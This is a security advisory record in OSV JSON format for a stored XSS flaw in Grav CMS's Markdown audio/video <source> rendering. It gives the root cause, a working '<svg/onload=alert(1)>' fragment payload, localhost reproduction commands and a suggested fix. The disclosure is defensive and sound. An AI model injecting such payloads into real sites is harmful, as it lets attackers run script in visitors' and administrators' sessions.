{"id":"GHSA-6qw9-4vv5-jr97","summary":"Grav: Stored XSS via Markdown audio/video media \u003csource\u003e URL","details":"**Target:** github.com/getgrav/grav  \n**Affected resource:** `Grav\\Common\\Media\\Traits\\AudioMediaTrait` / `VideoMediaTrait` `sourceParsedownElement()` — verified on 2.0.13 (latest stable) and `develop` HEAD `5a7070f`  \n**Severity:** Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory [CVE-2026-42841](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr), same PR:H / S:C / C:H / I:L)  \n**Weakness:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n\n## Summary\n\nA Markdown audio or video embed renders its `\u003csource\u003e` element as **raw HTML** with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so `![x](song.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)` breaks out of `\u003csource src=\"…\"\u003e` and injects arbitrary HTML — including a script-executing `\u003csvg onload\u003e` — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.\n\nThis is the next sink in the media-parameter injection class the maintainer has been closing: [GHSA-r7fx-8g49-7hhr](https://github.com/getgrav/grav/security/advisories/GHSA-r7fx-8g49-7hhr) (`attribute()`), [GHSA-pmf8-g7c8-7v54 / CVE-2026-55890](https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54) (`style()`, 2.0.0-rc.9), and [GHSA-ffmg-hfvg-jhg9](https://github.com/getgrav/grav/security/advisories/GHSA-ffmg-hfvg-jhg9) (`resize()`, 2.0.0-rc.10). All three guarded image `style`/`attribute` sinks; the [`aba291a5` audit](https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20) scoped itself to \"sinks reaching the style attribute\" and did not cover the audio/video `\u003csource\u003e` rawHtml sink, which reaches full script execution rather than CSS injection.\n\n## Root Cause\n\nThe audio/video player builds its inner source as Parsedown **rawHtml** (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — [`AudioMediaTrait.php` L43-52](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/AudioMediaTrait.php#L43-L52) (identical in [`VideoMediaTrait.php` L58-67](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/VideoMediaTrait.php#L58-L67)):\n\n```php\nprotected function sourceParsedownElement(array $attributes, $reset = true)\n{\n    $location = $this-\u003eurl($reset);\n    return [\n        'name' =\u003e 'audio',\n        'rawHtml' =\u003e '\u003csource src=\"' . $location . '\"\u003eYour browser does not support the audio tag.',\n        'attributes' =\u003e $attributes\n    ];\n}\n```\n\n`$location` includes the URL fragment, which is stored with **no encoding** — [`MediaObjectTrait::urlHash()` L240-249](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Media/Traits/MediaObjectTrait.php#L240-L249) only strips a leading `#`. Before that, the excerpt handler decodes the media URL with `htmlspecialchars_decode(urldecode(...))`, undoing Parsedown's escaping — [`Excerpts.php` L188](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L188) — and routes the fragment to `urlHash()` at [`Excerpts.php` L321-323](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Page/Markdown/Excerpts.php#L321-L323). So `\"`, `\u003c`, `\u003e`, `=`, `(`, `)` in the fragment survive into the raw `\u003csource\u003e`.\n\nTwo defenses that stop the *querystring* path do not cover the *fragment*:\n\n- The GFM tagfilter — [`ParsedownGravTrait::filterDisallowedRawHtml()` L528-535](https://github.com/getgrav/grav/blob/2.0.13/system/src/Grav/Common/Markdown/ParsedownGravTrait.php#L528-L535) — escapes `\u003c` only for `title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext`. `\u003csvg\u003e` and `\u003cimg\u003e` are not on the list, so they inject as live markup.\n- The `__call` querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (`onload=alert(1)`) keep their `=` `(` `)` and execute.\n\nThe image render path is unaffected — an image's `src` goes into an htmlspecialchars-escaped attribute, not rawHtml.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- PHP \u003e= 8.0 with the built-in web server (verified on 8.5)\n- curl\n- unzip\n\n### Step 1: Download Grav 2.0.13 (latest stable, self-contained core)\n\n```bash\nmkdir -p /tmp/grav-xss && cd /tmp/grav-xss\ncurl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip\nunzip grav.zip\n```\n\n### Step 2: Create a page with an audio file and a malicious Markdown embed\n\n```bash\ncd /tmp/grav-xss/grav\nmkdir -p user/pages/03.poc\nprintf 'ID3fakeaudio' \u003e user/pages/03.poc/sound.mp3\ncat \u003e user/pages/03.poc/default.md \u003c\u003c'MD'\n---\ntitle: XSS PoC\n---\n![sound](sound.mp3#\"\u003e\u003csvg/onload=alert(1)\u003e)\nMD\n```\n\n### Step 3: Start Grav\n\n```bash\nphp -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php\n```\n\nLeave this running and open a new terminal for the next step.\n\n### Step 4: Fetch the rendered page and show the un-escaped injection\n\n```bash\nfor i in $(seq 1 60); do (exec 3\u003c\u003e/dev/tcp/127.0.0.1/8390) 2\u003e/dev/null && { exec 3\u003e&-; break; }; sleep 1; done\ncurl http://127.0.0.1:8390/poc | grep -o '\u003caudio.*\u003c/audio\u003e'\n```\n\nExpected output:\n\n```\n\u003caudio controls=\"controls\" alt=\"sound\"\u003e\u003csource src=\"/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#\"\u003e\u003csvg/onload=alert(1)\u003e\"\u003eYour browser does not support the audio tag.\u003c/audio\u003e\n```\n\nThe `\u003csource src=\"…#\"\u003e` is closed by the injected `\"` and `\u003e`, and `\u003csvg/onload=alert(1)\u003e` follows as live markup. Open `http://127.0.0.1:8390/poc` in a browser: the SVG's `onload` fires and executes `alert(1)` (screenshot: a `document.body.innerHTML='XSS_…'` variant rewriting the page). Video reproduces identically with an `.mp4` file and the same fragment.\n\n## Suggested Fix\n\nEscape `$location` with `htmlspecialchars()` before concatenating it into the `\u003csource src=\"…\"\u003e` rawHtml in `AudioMediaTrait::sourceParsedownElement()` and `VideoMediaTrait::sourceParsedownElement()` (and any other rawHtml media sink), or build the `\u003csource\u003e` through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in `MediaObjectTrait::urlHash()` should also be encoded rather than passed through verbatim.\n\n## Cleanup\n\n```bash\nkill %1 2\u003e/dev/null\nrm -rf /tmp/grav-xss\n```\n\n## Impact\n\nArbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected `\u003csvg onload\u003e` runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a **no-interaction** sink: Grav's body renderer already passes interaction-based `\u003ca href=\"javascript:\"\u003e` / `\u003cform action=\"javascript:\"\u003e` raw but escapes auto-firing `\u003cimg onerror\u003e` / `\u003csvg onload\u003e` on block tags — the audio/video `\u003csource\u003e` rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.","aliases":["CVE-2026-75831"],"modified":"2026-09-17T17:45:04.317317389Z","published":"2026-09-17T17:31:41Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-17T17:31:41Z","nvd_published_at":null,"cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-6qw9-4vv5-jr97"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75831"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/aba291a59cab29ddce491175791888d8d0b65e20"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/grav-before-stored-xss-via-audio-video-source-url"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.15"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.0.14","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-6qw9-4vv5-jr97/GHSA-6qw9-4vv5-jr97.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}